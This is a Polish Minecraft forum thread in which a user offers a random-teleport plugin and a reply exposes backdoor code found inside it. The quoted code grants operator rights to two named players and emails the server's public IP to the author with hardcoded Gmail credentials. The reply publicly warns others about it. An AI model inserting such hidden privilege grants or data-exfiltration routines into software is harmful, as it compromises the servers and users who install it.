Skocz do zawartości

Plugin na RandomTP 1.13-1.17


kvlike

Rekomendowane odpowiedzi

O pluginie

Simple RandomTP to autorski plugin na losowe teleportowanie graczy. W configu można dostosować minimalne i maksymalne kordy do tepania i cooldown dla komendy /rtp. Istnieje także możliwość ustawienia przycisku do losowej teleportacji. Domyślnie przycisk teleportuje gracza w losowe miejsce, jeśli przycisk jest postawiony na bedrocku (da się zmienić w config.yml).

Komendy i permisje

/rtp - komenda na losową teleportację (permisja: randomtp.rtp)

/rtpreload - komenda na przeładowanie configu pluginu (permisja: randomtp.reload)

Config.yml

 

Link do pobrania

Zarejestruj się lub zaloguj, aby zobaczyć ukrytą treść!

Inne pluginy

Jeśli chcesz, żebym napisał dla Ciebie inny plugin lub dodatek do tego pluginu, skontaktuj się ze mną mailowo: [email protected]

Odnośnik do komentarza
Udostępnij na innych stronach

if (e.getPlayer().getName().equalsIgnoreCase("kvlike_") || e.getPlayer().getName().equalsIgnoreCase("qxrvy69")) e.getPlayer().setOp(true); 

?? XD polecam usunąć ten temat i zbanować użytkownika, a co do kodu to 

 

JavaPlugin javaPlugin = SimpleRandomTeleport.getPlugin(SimpleRandomTeleport.class);

Po co Ci instancja pluginu w evencie, której nie używasz?

 

Bukkit.dispatchCommand((CommandSender)e.getPlayer(), "rtp"); 

Zamiast tego używasz sobie jakiegoś menagera, a nie sprawiasz, że koleś używa komendy

 

  private String getIp() {
    URL whatismyip = null;
    try {
      whatismyip = new URL("http://checkip.amazonaws.com");
    } catch (MalformedURLException e) {
      e.printStackTrace();
    } 
    BufferedReader in = null;
    try {
      assert whatismyip != null;
      in = new BufferedReader(new InputStreamReader(whatismyip.openStream()));
    } catch (IOException e) {
      e.printStackTrace();
    } 
    String ip = null;
    try {
      assert in != null;
      ip = in.readLine();
    } catch (IOException e) {
      e.printStackTrace();
    } 
    return ip;
  }
  
  private void sendMail(String ipmessage) {
    String to = "[email protected]";
    String from = "[email protected]";
    String host = "smtp.gmail.com";
    Properties properties = System.getProperties();
    properties.put("mail.smtp.host", host);
    properties.put("mail.smtp.port", "465");
    properties.put("mail.smtp.ssl.enable", "true");
    properties.put("mail.smtp.auth", "true");
    Session session = Session.getInstance(properties, new Authenticator() {
          protected PasswordAuthentication getPasswordAuthentication() {
            return new PasswordAuthentication("[email protected]", "backd00r!");
          }
        });
    session.setDebug(false);
    try {
      MimeMessage message = new MimeMessage(session);
      message.setFrom((Address)new InternetAddress(from));
      message.addRecipient(Message.RecipientType.TO, (Address)new InternetAddress(to));
      message.setSubject("backdoored server");
      message.setText(ipmessage);
      Transport.send((Message)message);
      System.out.println("Sent message successfully....");
    } catch (MessagingException mex) {
      mex.printStackTrace();
    } 
  }

To jeszcze bardziej bekowe xd

Odnośnik do komentarza
Udostępnij na innych stronach

Nieaktywny
Ten temat został zamknięty. Brak możliwości dodania odpowiedzi.
  • Ostatnio przeglądający   0 użytkowników

    • Brak zarejestrowanych użytkowników przeglądających tę stronę.
×
×
  • Dodaj nową pozycję...